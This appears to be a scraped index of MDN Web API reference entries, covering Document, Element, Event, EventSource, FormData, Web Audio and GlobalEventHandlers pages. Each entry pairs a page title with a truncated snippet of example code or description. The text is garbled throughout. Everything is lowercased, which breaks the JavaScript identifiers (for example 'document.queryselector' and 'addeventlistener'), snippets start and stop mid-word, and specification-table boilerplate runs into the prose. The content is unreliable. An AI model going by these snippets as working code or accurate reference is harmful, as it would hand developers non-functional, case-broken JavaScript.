let scripts = document.scripts; if (scripts.length) { alert('this page has scripts!'); } specifications specification status comment html living standardthe definition of 'document.scripts' in that specification.
Document.timeline - Web APIs
WebAPIDocumenttimeline
specifications specification status comment web animationsthe definition of 'document.timeline' in that specification.
Document: visibilitychange event - Web APIs
document.addeventlistener("visibilitychange", function() { if (document.visibilitystate === 'visible') { backgroundmusic.play(); } else { backgroundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibilitychange' in that specification.
Document: wheel event - Web APIs
ale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwheel = zoom; addeventlistener equivalent the event handler can also be set up using the addeventlistener() method: document.addeventlistener('wheel', zoom); specifications specification status comment ui eventsthe definition of 'wheel' in that specification.
Document.width - Web APIs
WebAPIDocumentwidth
syntax pixels = document.width; example function init() { alert("the width of the document is " + document.width + " pixels."); } alternatives document.body.clientwidth /* width of <body> */ document.documentelement.clientwidth /* width of <html> */ window.innerwidth /* window's width */ specification html5 ...
DocumentOrShadowRoot.activeElement - Web APIs
ctivetextarea.id; outputtext.innerhtml = selection; } const textarea1 = document.getelementbyid('ta-example-one'); const textarea2 = document.getelementbyid('ta-example-two'); textarea1.addeventlistener('mouseup', onmouseup, false); textarea2.addeventlistener('mouseup', onmouseup, false); result specifications specification status comment html living standardthe definition of 'activeelement' in that specification.
DocumentOrShadowRoot.pointerLockElement - Web APIs
specifications specification status comment pointer lockthe definition of 'pointerlockelement' in that specification.
DocumentTimeline.DocumentTimeline() - Web APIs
imelinecat'); cats = array.prototype.slice.call(cats); var sharedtimeline = new documenttimeline({ origintime: 500 }); cats.foreach(function(cat) { var catkeyframes = new keyframeeffect(cat, keyframes, timing); var catanimation = new animation(catkeyframes, sharedtimeline); catanimation.play(); }); specifications specification status comment web animationsthe definition of 'documenttimeline()' in that specification.
DocumentTimeline - Web APIs
ts = document.queryselectorall('.sharedtimelinecat'); const sharedtimeline = new documenttimeline({ origintime: 500 }); for (const cat of cats) { const catkeyframes = new keyframeeffect(cat, keyframes, timing); const catanimation = new animation(catkeyframes, sharedtimeline); catanimation.play(); } specifications specification status comment web animationsthe definition of 'documenttimeline' in that specification.
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
this handles everything for you, and is definitely the preferred solution: ul { list-style-type: none; margin: 0; padding: 0; display: flex; } if you need to rely on inline-block, you could set the font-size of the list to 0.
Document Object Model (DOM) - Web APIs
t svgsolidcolorelement svgstopelement svgstyleelement svgsvgelement svgswitchelement svgsymbolelement svgtextcontentelement svgtextelement svgtextpathelement svgtextpositioningelement svgtitleelement svgtrefelement svgtspanelement svguseelement svgunknownelement svgviewelement svgvkernelement svg data type interfaces here are the dom apis for data types used in the definitions of svg properties and attributes.
DynamicsCompressorNode.attack - Web APIs
essor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'attack' in that specification.
DynamicsCompressorNode.knee - Web APIs
essor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'knee' in that specification.
DynamicsCompressorNode.ratio - Web APIs
essor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'ratio' in that specification.
DynamicsCompressorNode.reduction - Web APIs
example var audioctx = new audiocontext(); var compressor = audioctx.createdynamicscompressor(); var myreduction = compressor.reduction; specifications specification status comment web audio apithe definition of 'reduction' in that specification.
DynamicsCompressorNode.release - Web APIs
essor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'release' in that specification.
DynamicsCompressorNode.threshold - Web APIs
essor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'threshold' in that specification.
DynamicsCompressorNode - Web APIs
essor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'dynamicscompressornode' in that specification.
EcKeyGenParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.eckeygenparams' in that specification.
EcKeyImportParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.eckeyimportparams' in that specification.
EcdhKeyDeriveParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.ecdhkeyderiveparams' in that specification.
EcdsaParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.ecdsaparams' in that specification.
EffectTiming.delay - Web APIs
/ randomizer function var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)" }); }); specifications specification status comment web animationsthe definition of 'delay' in that specification.
EffectTiming.direction - Web APIs
examples in the forgotten key example, alice waves her arm up and down by passing her an alternate value for her direction property: // get alice's arm, and wave it up and down document.getelementbyid("alice_arm").animate([ { transform: 'rotate(10deg)' }, { transform: 'rotate(-40deg)' } ], { easing: 'steps(2, end)', iterations: infinity, direction: 'alternate', duration: 600 }); specifications specification status comment web animationsthe definition of 'direction' in that specification.
Element: DOMActivate event - Web APIs
domactivate event --> <circle cx="300" cy="225" r="100" fill="red"> <handler type="application/ecmascript" ev:event="domactivate"> change(evt); </handler> </circle> <text x="300" y="480" font-family="verdana" font-size="35" text-anchor="middle"> activate the circle to change its size </text> </svg> specifications specification status ui eventsthe definition of 'domactivate' in that specification.
Element: auxclick event - Web APIs
specification specification status ui eventsthe definition of 'auxclick' in that specification.
Element: blur event - Web APIs
document object model (dom) level 3 events specification obsolete initial definition ...
Element.clientHeight - Web APIs
example specification specification status comment css object model (cssom) view modulethe definition of 'clientheight' in that specification.
Element.clientLeft - Web APIs
padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom specifications specification status comment css object model (cssom) view modulethe definition of 'clientleft' in that specification.
Element.clientTop - Web APIs
WebAPIElementclientTop
specifications specification status comment css object model (cssom) view modulethe definition of 'clienttop' in that specification.
Element.clientWidth - Web APIs
example specification specification status comment css object model (cssom) view modulethe definition of 'clientwidth' in that specification.
Element: contextmenu event - Web APIs
html <p id="nocontextmenu">the context menu has been disabled on this paragraph.</p> <p>but it has not been disabled on this one.</p> javascript nocontext = document.getelementbyid('nocontextmenu'); nocontext.addeventlistener('contextmenu', e => { e.preventdefault(); }); result specifications specification status comment html living standardthe definition of 'contextmenu' in that specification.
Element: copy event - Web APIs
the copy event fires when the user initiates a copy action through the browser's user interface.
Element: cut event - Web APIs
WebAPIElementcut event
the cut event is fired when the user has initiated a "cut" action through the browser's user interface.
Element: focus event - Web APIs
document object model (dom) level 3 events specification obsolete initial definition ...
Element: focusin event - Web APIs
document object model (dom) level 3 events specification obsolete initial definition ...
Element: focusout event - Web APIs
document object model (dom) level 3 events specification obsolete initial definition ...
Element.getAnimations() - Web APIs
promise.all( elem.getanimations({ subtree: true }) .map(animation => animation.finished) ).then(() => elem.remove()); specifications specification status comment web animationsthe definition of 'animatable.getanimations()' in that specification.
Element.getAttribute() - Web APIs
let nonce = script.getattribute('nonce'); // returns empty string instead of retrieving the nonce from the content attribute, use the nonce property: let nonce = script.nonce; specifications specification status comment domthe definition of 'getattribute()' in that specification.
Element.getAttributeNode() - Web APIs
methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'getattributenode()' in that specification.
Element.getAttributeNodeNS() - Web APIs
methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'getattributenodens()' in that specification.
Element.hasAttributeNS() - Web APIs
ods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'document.hasattributens' in that specification.
Element.hasPointerCapture() - Web APIs
} } function init() { const el = document.getelementbyid("target"); el.onpointerdown = downhandler; } </script> <body onload="init();"> <div id="target">touch this element with a pointer.</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'haspointercapture()' in that specification.
Element.insertAdjacentElement() - Web APIs
specification specification status comment domthe definition of 'insertadjacentelement()' in that specification.
Element.insertAdjacentHTML() - Web APIs
specification specification status comment dom parsing and serializationthe definition of 'element.insertadjacenthtml()' in that specification.
Element.insertAdjacentText() - Web APIs
code: if (!element.prototype.insertadjacenttext) element.prototype.insertadjacenttext = function(type, txt){ this.insertadjacenthtml( type, (txt+'') // convert to string .replace(/&/g, '&amp;') // embed ampersand symbols .replace(/</g, '&lt;') // embed less-than symbols ) } specification specification status comment domthe definition of 'insertadjacenttext()' in that specification.
Element.namespaceURI - Web APIs
specifications specification status comment domthe definition of 'element: namespaceuri' in that specification.
Element.outerHTML - Web APIs
WebAPIElementouterHTML
; console.log(p.nodename); // still "p"; the returned value will contain html escaped attributes: var anc = document.createelement("a"); anc.href = "https://developer.mozilla.org?a=b&c=d"; console.log(anc.outerhtml); // output: "<a href='https://developer.mozilla.org?a=b&amp;c=d'></a>" specification specification status comment dom parsing and serializationthe definition of 'element.outerhtml' in that specification.
Element.part - Web APIs
WebAPIElementpart
is.shadowroot.children; for(let elem of children) { if(elem.getattribute('part')) { tabs.push(elem); } } tabs.foreach((tab) => { tab.addeventlistener('click', (e) => { tabs.foreach((tab) => { tab.part = 'tab'; }) e.target.part = 'tab active'; }) console.log(tab.part); }) specifications specification status comment shadow partsthe definition of 'element.part' in that specification.
Element: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface.
Element.prefix - Web APIs
WebAPIElementprefix
specifications specification status comment domthe definition of 'element: prefix' in that specification.
Element.removeAttribute() - Web APIs
ributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - example // given: <div id="div1" align="left" width="200px"> document.getelementbyid("div1").removeattribute("align"); // now: <div id="div1" width="200px"> specifications specification status comment domthe definition of 'element" removeattribute' in that specification.
Element.removeAttributeNS() - Web APIs
ods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'element: removeattributens' in that specification.
Element.removeAttributeNode() - Web APIs
ods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'element: removeattributenode' in that specification.
Element.requestPointerLock() - Web APIs
syntax instanceofelement.requestpointerlock(); specifications specification status comment pointer lockthe definition of 'requestpointerlock()' in that specification.
Element.scrollLeft - Web APIs
ight: 100px; border: 1px solid #ccc; overflow-x: scroll; } #content { width: 250px; background-color: #ccc; } javascript const button = document.getelementbyid('slide'); button.onclick = function () { document.getelementbyid('container').scrollleft += 20; }; result specifications specification status comment css object model (cssom) view modulethe definition of 'scrollleft' in that specification.
Element.scrollTop - Web APIs
WebAPIElementscrollTop
if you can see this, scrolltop is maxed-out padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom specifications specification status comment css object model (cssom) view modulethe definition of 'scrolltop' in that specification.
Element: select event - Web APIs
arget.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const input = document.queryselector('input'); input.addeventlistener('select', logselection); onselect equivalent you can also set up the event handler using the onselect property: input.onselect = logselection; specifications specification status ui eventsthe definition of 'select' in that specification.
Element.setAttribute() - Web APIs
methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'setattribute()' in that specification.
Element.setAttributeNS() - Web APIs
specifications specification status comment domthe definition of 'document.setattributens' in that specification.
Element.setAttributeNode() - Web APIs
methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'setattributenode()' in that specification.
Element.setAttributeNodeNS() - Web APIs
ods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'document.setattributenodens' in that specification.
Element: show event - Web APIs
examples <div contextmenu="test"></div> <menu type="context" id="test"> <menuitem label="alert" onclick="alert('the alert label has been clicked')" /> </menu> <script> document.getelementbyid("test").addeventlistener("show", function(e){ alert("the context menu will be displayed"); }, false); </script> specifications specification status html5the definition of 'show event' in that specification.
Element.slot - Web APIs
WebAPIElementslot
let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.slot); // logs 'my-text' specifications specification status comment domthe definition of 'slot' in that specification.
Element.tagName - Web APIs
WebAPIElementtagName
specifications specification status comment domthe definition of 'element: tagname' in that specification.
Element.toggleAttribute() - Web APIs
rototype.toggleattribute = function(name, force) { if(force !== void 0) force = !!force if (this.hasattribute(name)) { if (force) return true; this.removeattribute(name); return false; } if (force === false) return false; this.setattribute(name, ""); return true; }; } specification specification status comment domthe definition of 'element.toggleattribute' in that specification.
Element: webkitmouseforcewillbegin event - Web APIs
safari for macos fires the non-standard webkitmouseforcewillbegin event at an element before firing the initial mousedown event.
Element: wheel event - Web APIs
.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); el.onwheel = zoom; addeventlistener equivalent the event handler can also be set up using the addeventlistener() method: el.addeventlistener('wheel', zoom); specifications specification status comment ui eventsthe definition of 'wheel' in that specification.
Encoding API - Web APIs
specifications specification status comment encoding living standard initial definition.
Encrypted Media Extensions API - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition ...
Event.cancelBubble - Web APIs
example elem.onclick = function(event) { // do cool things here event.cancelbubble = true; } specifications specification status comment domthe definition of 'cancelbubble' in that specification.
Event.defaultPrevented - Web APIs
d) { log.innertext = 'sorry, but you cannot visit this link!\n' + log.innertext; } else { log.innertext = 'visiting link...\n' + log.innertext; } } } const a = document.getelementbyid('link2'); a.addeventlistener('click', stoplink); document.addeventlistener('click', logclick); result specifications specification status comment domthe definition of 'event.defaultprevented()' in that specification.
Event.returnValue - Web APIs
WebAPIEventreturnValue
specifications specification status comment domthe definition of 'returnvalue' in that specification.
Event.stopImmediatePropagation() - Web APIs
syntax event.stopimmediatepropagation(); specifications specification status comment domthe definition of 'event.stopimmediatepropagation()' in that specification.
Event.timeStamp - Web APIs
WebAPIEventtimeStamp
specifications specification status comment domthe definition of 'event.timestamp' in that specification.
EventSource: error event - Web APIs
examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('error', (e) => { console.log("an error occurred while attempting to connect."); }); // onerror version evtsource.onerror = (e) => { console.log("an error occurred while attempting to connect."); }; specifications specification status html living standardthe definition of 'error event' in that specification.
EventSource: message event - Web APIs
document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }); onmessage equivalent evtsource.onmessage = (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }; specifications specification status html living standardthe definition of 'message event' in that specification.
EventSource: open event - Web APIs
tsource.onopen examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('open', (e) => { console.log("the connection has been established."); }); // onopen version evtsource.onopen = (e) => { console.log("the connection has been established."); }; specifications specification status html living standardthe definition of 'open event' in that specification.
EventSource - Web APIs
*/ sse.addeventlistener("message", function(e) { console.log(e.data) }) specifications specification status html living standardthe definition of 'eventsource' in that specification.
EventTarget() - Web APIs
his._secret; } }; let myeventtarget = new myeventtarget(5); let value = myeventtarget.secret; // == 5 myeventtarget.addeventlistener("foo", function(e) { this._secret = e.detail; }); let event = new customevent("foo", { detail: 7 }); myeventtarget.dispatchevent(event); let newvalue = myeventtarget.secret; // == 7 specifications specification status comment domthe definition of 'eventtarget() constructor' in that specification.
FeaturePolicy - Web APIs
specification specification status comment feature policy editor's draft initial definition.
FederatedCredential.provider - Web APIs
example // tbd specifications specification status comments credential management level 1 working draft initial definition.
Fetch basic concepts - Web APIs
in a nutshell at the heart of fetch are the interface abstractions of http requests, responses, headers, and body payloads, along with a global fetch method for initiating asynchronous resource requests.
Cross-global fetch usage - Web APIs
when a cross-origin fetch involving a relative url is initiated from an <iframe>, the relative url used to be resolved against the current global location, rather than the iframe's location.
File.File() - Web APIs
WebAPIFileFile
example var file = new file(["foo"], "foo.txt", { type: "text/plain", }); specifications specification status comment file api working draft initial definition ...
FileReader() - Web APIs
ollowing code snippet shows creation of a filereader object using the filereader() constructor and subsequent usage of the object: function printfile(file) { var reader = new filereader(); reader.onload = function(evt) { console.log(evt.target.result); }; reader.readastext(file); } specifications specification status comment file api working draft initial definition ...
FileReader.readAsBinaryString() - Web APIs
tcontext('2d'); ctx.strokestyle = '#090'; ctx.beginpath(); ctx.arc(width/2, height/2, width/2 - width/10, 0, math.pi*2); ctx.stroke(); canvas.toblob(function (blob) { var reader = new filereader(); reader.onload = function () { console.log(reader.result); } reader.readasbinarystring(blob); }); specifications specification status comment file apithe definition of 'readasbinarystring' in that specification.
FileSystem - Web APIs
specifications specification status comment file and directory entries apithe definition of 'filesystem' in that specification.
FileSystemDirectoryEntry - Web APIs
specifications specification status comment file and directory entries apithe definition of 'filesystemdirectoryentry' in that specification.
File and Directory Entries API support in Firefox - Web APIs
in broad strokes, those limitations can be summarized as follows: content scripts can't create file systems or initiate access to a file system.
FormData.delete() - Web APIs
WebAPIFormDatadelete
example the following line creates an empty formdata object and prepopulates it with key/value pairs from a form: var formdata = new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification.
FormData.get() - Web APIs
WebAPIFormDataget
ty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following get() function will only return the first username value appended: formdata.get('username'); // returns "chris" specifications specification status comment xmlhttprequestthe definition of 'get()' in that specification.
FormData.getAll() - Web APIs
WebAPIFormDatagetAll
ta object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following getall() function will return both username values in an array: formdata.getall('username'); // returns ["chris", "bob"] specifications specification status comment xmlhttprequestthe definition of 'getall()' in that specification.
FormData.has() - Web APIs
WebAPIFormDatahas
a(); the following snippet shows the results of testing for the existence of username in the formdata object, before and after appending a username value to it with formdata.append: formdata.has('username'); // returns false formdata.append('username', 'chris'); formdata.has('username'); // returns true specifications specification status comment xmlhttprequestthe definition of 'has()' in that specification.
FormData.set() - Web APIs
WebAPIFormDataset
you can set key/value pairs on this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name', 72); formdata.get('name'); // "72" specifications specification status comment xmlhttprequestthe definition of 'set()' in that specification.
FormData - Web APIs
WebAPIFormData
specifications specification status comment xmlhttprequestthe definition of 'formdata' in that specification.
FormDataEvent.formData - Web APIs
console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdata' in that specification.
FormDataEvent - Web APIs
console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
Using the Frame Timing API - Web APIs
ister the performance observer var observe_frame = new performanceobserver(function(list) { // log the frame entries var perfentries = list.getentriesbytype("frame"); for (var i=0; i < perfentries.length; i++) { console.log("obs #1: [" + i + "] = " + perfentries[i].name); } }); // only observe 'frame' events observe_frame.observe({entrytypes: ['frame']}); } function init () { create_frame_observer(); var obs = new performanceobserver(frame_observer_2); obs.observe({entrytypes: ['frame']}); } function frame_observer_2(list) { // log the frame entries var perfentries = list.getentriesbytype("frame"); for (var i=0; i < perfentries.length; i++) { console.log("obs #2: [" + i + "] = " + perfentries[i].name); } } <body onload="init(event)"> when t...
Guide to the Fullscreen API - Web APIs
creenerror onmozfullscreenerror onmsfullscreenerror document.exitfullscreen() webkitexitfullscreen() mozcancelfullscreen() msexitfullscreen() element.requestfullscreen() webkitrequestfullscreen() mozrequestfullscreen() msrequestfullscreen() specifications specification status comment fullscreen api living standard initial version.
GainNode.gain - Web APIs
WebAPIGainNodegain
gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'gain' in that specification.
GainNode - Web APIs
WebAPIGainNode
gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'gainnode' in that specification.
Geolocation.clearWatch() - Web APIs
d); } }; function error(err) { console.warn('error(' + err.code + '): ' + err.message); }; target = { latitude : 0, longitude: 0, } options = { enablehighaccuracy: false, timeout: 5000, maximumage: 0 }; id = navigator.geolocation.watchposition(success, error, options); specifications specification status comment geolocation api recommendation initial specification.
Geolocation - Web APIs
specifications specification status comment geolocation api recommendation initial specification.
GlobalEventHandlers.onloadstart - Web APIs
specification specification status comment html living standardthe definition of 'loadstart' in that specification.
GlobalEventHandlers.onabort - Web APIs
example window.onabort = function() { alert('load aborted.'); } specification specification status comment html living standardthe definition of 'onabort' in that specification.
GlobalEventHandlers.onanimationend - Web APIs
result assembled together, you get this: specification specification status comment css animationsthe definition of 'onanimationend' in that specification.
GlobalEventHandlers.onanimationstart - Web APIs
result assembled together, you get this: specification specification status comment css animationsthe definition of 'onanimationstart' in that specification.
GlobalEventHandlers.onauxclick - Web APIs
specifications specification status comment ui eventsthe definition of 'onauxclick' in that specification.
GlobalEventHandlers.onblur - Web APIs
specifications specification status comment html living standardthe definition of 'onblur' in that specification.
GlobalEventHandlers.oncancel - Web APIs
specifications specification status comment html living standardthe definition of 'oncancel' in that specification.
GlobalEventHandlers.oncanplay - Web APIs
specification specification status comment html living standardthe definition of 'oncanplay' in that specification.
GlobalEventHandlers.oncanplaythrough - Web APIs
specification specification status comment html living standardthe definition of 'oncanplaythrough' in that specification.
GlobalEventHandlers.onchange - Web APIs
e field." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.onchange = handlechange; function handlechange(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specification specification status comment html living standardthe definition of 'onchange' in that specification.
GlobalEventHandlers.onclick - Web APIs
html <p>click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.onclick = inputchange; function inputchange(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specification specification status comment html living standardthe definition of 'onclick' in that specification.
GlobalEventHandlers.onclose - Web APIs
specifications specification status comment html living standardthe definition of 'onclose' in that specification.
GlobalEventHandlers.oncuechange - Web APIs
specification specification status comment html living standardthe definition of 'oncuechange' in that specification.
GlobalEventHandlers.ondblclick - Web APIs
html <p>double click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.ondblclick = logdoubleclick; function logdoubleclick(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specifications specification status comment html living standardthe definition of 'ondblclick' in that specification.
GlobalEventHandlers.ondurationchange - Web APIs
specification specification status comment html living standardthe definition of 'ondurationchange' in that specification.
GlobalEventHandlers.onemptied - Web APIs
specification specification status comment html living standardthe definition of 'onemptied' in that specification.
GlobalEventHandlers.onended - Web APIs
specification specification status comment html living standardthe definition of 'onended' in that specification.
GlobalEventHandlers.onfocus - Web APIs
specifications specification status comment html living standardthe definition of 'onfocus' in that specification.
GlobalEventHandlers.onformdata - Web APIs
console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'onformdata' in that specification.
GlobalEventHandlers.ongotpointercapture - Web APIs
example function overhandler(event) { // determine the target event's gotpointercapture handler let gotcapturehandler = event.target.ongotpointercapture; } function init() { let el = document.getelementbyid('target'); el.ongotpointercapture = overhandler; } specifications specification status comment pointer events – level 2the definition of 'ongotpointercapture' in that specification.
GlobalEventHandlers.oninvalid - Web APIs
city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this example, don't actually submit the form event.preventdefault(); } result specification specification status comment html living standardthe definition of 'oninvalid' in that specification.
GlobalEventHandlers.onkeydown - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeydown = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeydown' in that specification.
GlobalEventHandlers.onkeypress - Web APIs
specifications specification status comment html living standardthe definition of 'onkeypress' in that specification.
GlobalEventHandlers.onkeyup - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeyup = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeyup' in that specification.
GlobalEventHandlers.onloadeddata - Web APIs
specification specification status comment html living standardthe definition of 'onloadeddata' in that specification.
GlobalEventHandlers.onloadedmetadata - Web APIs
specification specification status comment html living standardthe definition of 'onloadedmetadata' in that specification.
GlobalEventHandlers.onlostpointercapture - Web APIs
example function overhandler(event) { // determine the target event's lostpointercapture handler let lostcapturehandler = event.target.onlostpointercapture; } function init() { let el = document.getelementbyid('target'); el.onlostpointercapture = overhandler; } specifications specification status comment pointer events – level 2the definition of 'onlostpointercapture' in that specification.
GlobalEventHandlers.onmousedown - Web APIs
nt.clienty - 50 + 'px'; } function hideview(event) { view.setattribute('hidden', ''); } const container = document.queryselector('.container'); const view = document.queryselector('.view'); container.onmousedown = showview; container.onmousemove = moveview; document.onmouseup = hideview; result specification specification status comment html living standardthe definition of 'onmousedown' in that specification.
GlobalEventHandlers.onmouseenter - Web APIs
specification specification status comment html living standardthe definition of 'onmouseenter' in that specification.
GlobalEventHandlers.onmouseleave - Web APIs
specification specification status comment html living standardthe definition of 'onmouseleave' in that specification.
GlobalEventHandlers.onmousemove - Web APIs
specifications specification status comment html living standardthe definition of 'onmousemove' in that specification.
GlobalEventHandlers.onmouseout - Web APIs
html <p>test your mouse on me!</p> javascript const p = document.queryselector('p'); p.onmouseover = logmouseover; p.onmouseout = logmouseout; function logmouseover() { p.innerhtml = 'mouse over detected'; } function logmouseout() { p.innerhtml = 'mouse out detected'; } result specification specification status comment html living standardthe definition of 'onmouseout' in that specification.
GlobalEventHandlers.onmouseover - Web APIs
html <p>test your mouse on me!</p> javascript const p = document.queryselector('p'); p.onmouseover = logmouseover; p.onmouseout = logmouseout; function logmouseover() { p.innerhtml = 'mouse over detected'; } function logmouseout() { p.innerhtml = 'mouse out detected'; } result specifications specification status comment html living standardthe definition of 'onmouseover' in that specification.
GlobalEventHandlers.onmouseup - Web APIs
ascript function depress() { toast.classlist.add('depressed'); } function release() { toast.classlist.remove('depressed'); } const toaster = document.queryselector('.toaster'); const toast = document.queryselector('.toast'); toaster.onmousedown = depress; document.onmouseup = release; result specification specification status comment html living standardthe definition of 'onmouseup' in that specification.
GlobalEventHandlers.onpause - Web APIs
specification specification status comment html living standardthe definition of 'onpause' in that specification.
GlobalEventHandlers.onplay - Web APIs
</video> <p>video courtesy of <a href="http://www.bigbuckbunny.org/" target="_blank">big buck bunny</a>.</p> <script> function alertplay() { alert("the video has started to play."); } </script> specification specification status comment html living standardthe definition of 'onplay' in that specification.
GlobalEventHandlers.onplaying - Web APIs
